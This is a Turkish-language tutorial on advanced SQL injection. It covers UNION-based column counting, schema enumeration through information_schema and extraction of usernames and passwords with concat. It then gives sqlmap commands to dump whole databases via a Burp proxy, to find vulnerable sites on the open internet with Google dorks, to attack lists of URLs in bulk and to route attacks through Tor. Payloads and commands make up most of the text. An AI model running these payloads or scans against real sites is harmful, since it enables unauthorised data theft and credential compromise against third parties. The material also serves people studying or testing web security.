SQL INJECTION (Ileri Seviye)
Sql Injection Çözümlemesi ve Anlamlandırılması
• SELECT bilgi almak.
• UPDATE bilgileri güncellemek.
• INSERT yeni bilgiler eklemek.
• DELETE bilgileri silmek.
Web siteleri tarafından kullanılan en yaygın sorgu, veritabanından bilgi almak için kullanılan SELECT ifadesidir.
Örneğin elimizde aşağıdaki gibi veritabanı olsun.
Sorgumuz:
SELECT column1, column2, column3 FROM table1 WHERE column4=’user’
AND column5=8 AND column6=5;
Bu sorgunun anlamı şudur: ‘ column1,2, ve 3 seçtim. Bunlar içinden table1 içindeki (user) getir ve column5 eşit 8’ e olanları getir ve column6 eşit 5’ e olanları getir’ diyerekten listelenmesini istiyoruz.
SELECT * FROM tablename.
Bu *, veritabanından tüm sütunları döndürmesini ve hepsini
adlandırmak zorunda kalmamamızı sağlayan bir joker karakterdir.
Sql Injection Faydalanma
Örnek;
SELECT id,name,price FROM articles WHERE id=3
Bu ifadeyle id,name,price’ları seçtim articles içinde id=3 olanı getir.
UNION SELECT id,login,password FROM users
Bu ifade ise union parametresi ile her iki talepten gelen bilgileri bir araya getirip. Select parametresi ile id,login,password bilgilerini users içinden getirmek istedik.
Burada en dikkat edilmesi gereken durum ise her iki ifadenin de aynı sayıda sütun döndürmesi gereklidir sorgunun çalışabilmesi için aksi takdirde veritabanı bir hata verecektir.
SQL enjeksiyonu ile bir istek gerçekleştirmek için, sorgunun ilk kısmı tarafından döndürülen
sütun sayısını bulmamız gerekecektir. Uygulamanın kaynak koduna sahip değilsek bu sayıyı tahmin
etmemiz veya bulmamız gerekecektir. Bunun için örnek sorgular şu şekildedir;
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,
Doğru sütün sayısı olmadığından dolayı, yük bir hata döndürecektir.
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
Web uygulamasındaki sql sorgusundaki sütün sayısı ile sorgumuzdaki sütun sayısı aynı olduğu için sorgu hata döndürmez.
Not: Bu sorgular mysql veritabını için çalışabilir. Ama diğer veritabı türlerinde değişkenlik gösterecektir.
Örneğin,
Oracle için, SELECT kullanıldığında, FROM anahtar kelimesinin kullanılması gerekir, ikili tablo isteği tamamlamak için kullanılabilir:
UNION SELECT null,null,null FROM dual ifadesi kullanılması gerekecektir.
Diğer yöntemler anahtar kelimeyi kullanırlar.
ORDER BY ORDER BY çoğunlukla veritabanına sonuçları sıralamak için hangi sütunun kullanılması gerektiğini söylemek için kullanılır.
PHP uygulaması tarafından veritabanına bağlanmak için kullanıcı için current_user()
Veritabanı sürümünü tespiti version()
Şimdi bu bilgilere göre;
?id=1)) union select 1,2,3,4 sutunumuz olduğunu varsayalım.
union select 1,2,@@version,4 → version tespiti.
union select 1,2,current_user(),4→ veritabanına bağlanmak için kullanıcı bilgisi.
union select 1,2,database(),4→ database bilgisi.
union select 1,2,table_name,4 from information_schema.tables → tüm tabloların listesi.
union select 1,2,colum_name from information_schema.columns → tüm sütünların listesi.
union select 1,table_name,colum_name from information_schema.columns → hangi sütunun hangi tabloya ait olduğunu belirtir.
Tüm tabloların listesi:
SELECT table_name FROM information_schema.tables
Tüm sütunların listesi:
SELECT column_name FROM information_schema.columns
Not: Veritabanını sorgulamak ve ilginç bilgileri almak için hangi sütunun hangi tabloya ait olduğunu
bilmeniz gerekir. ‘information_schema.columns’ tablo adlarını saklar.
Örnek Kullanım;
SELECT table_name,column_name FROM information_schema.columns
Not: Bir diğer terim ‘concat’ ifadesidir. ‘concat’ tablo adını ve sütun adını v.b ifadeleri birleştirmeye yarar.
Örnek kullanım;
UNION SELECT concat(table_name,’:’,column_name) FROM information_schema.columns
UNION SELECT 1,concat(login,’:’,password),3,4 FROM users;
Kullanıcı adı ve Şifreler için.
**SQLmap Ileri Seviye ve SQLmap ile Burp Suite Kullanımı**
Web uygulaması içerisinde sql zafiyeti olduğunu düşündüğümüz bir web sitesinde ‘sqlmap’ aracı ile ‘burp suite’ aracını bir arada kullanarak requestleri ve responsları nasıl analiz edebildiğimizi göreceksiniz.
İleri seviye sqlmap kullanımı olarak söyleyebiliriz.
Aşağıdaki şekilde de görüldüğü üzere önce komutumuzu yazıyoruz.
sqlmap -u ‘http://……../?id=4’ –proxy=’127.0.0.1:81’ –dump-all
Komutunu yazıyoruz. Çalıştırmadan önce Burp Suite aracımızı açıyoruz proxy ayarlamalarını yapıp dinlemeye alıyoruz.
sqlmap -g ‘php?id=50’
→ bu tarz bir kullanım sonucunda ‘PHP’ ile yazılmış sql veya lFI açığı olabilecek internet ortamındaki siteleri tek tek sqlmap ekranında karşımıza getirecektir.Bu örnek diğer teknolojilere uyarlanabilir.
sqlmap -g “inurl:\”php?id=\”” –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”
inurl → hedef web sitesini tanımlamak için kullandıgımız bir parametre.*”php?id=*–> hedef sitesinde böyle parametre var mı yok mu filtreleyebilmek için kuallandıgımız argüman.
–random-agent → sqlmap altında yer alan user-agent.txt dosyası içerisindeki agent’lardan rasgele seçebilmek için bir argümandır.
–batch → Bu parametre ile sqlmap’in sorduğu sorulara otomatik olarak varsayılan cevabı vermiş oluruz.
answer=”extending=N,follow=N,keep=N,exploit=n” → Sqlmap’in soracağı sorulara verilecek cevapları tanımladığımız parametrelerin argümanlarıdır.
sqlmap … -H=’Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c’
→cookie ile de SQLMap deneyerek ilginç sonuçlar elde edilebiliyor.
sqlmap -m “/root/Desktop/alperen.txt”
→ Birden fazla linke saldırı gerçekleştirebilmek için hepsini bir txt dosyasına kaydedip, saldırıyı başlatabiliyoruz.
sqlmap -u “http://alperenugurlu.com/Products.aspx?pId=3" — tor — tor-type=”SOCKS5" — tor-port=9050
→ Bu komut ile tor proxy kullanarak saldırı gerçekleştirebiliriz.
Linux sistemde çalıştırılan Sqlmap aracının tüm bu sonuçların bir çıktısı “/root/.local/share/sqlmap/output/” bu klasörde mevcut olacaktır.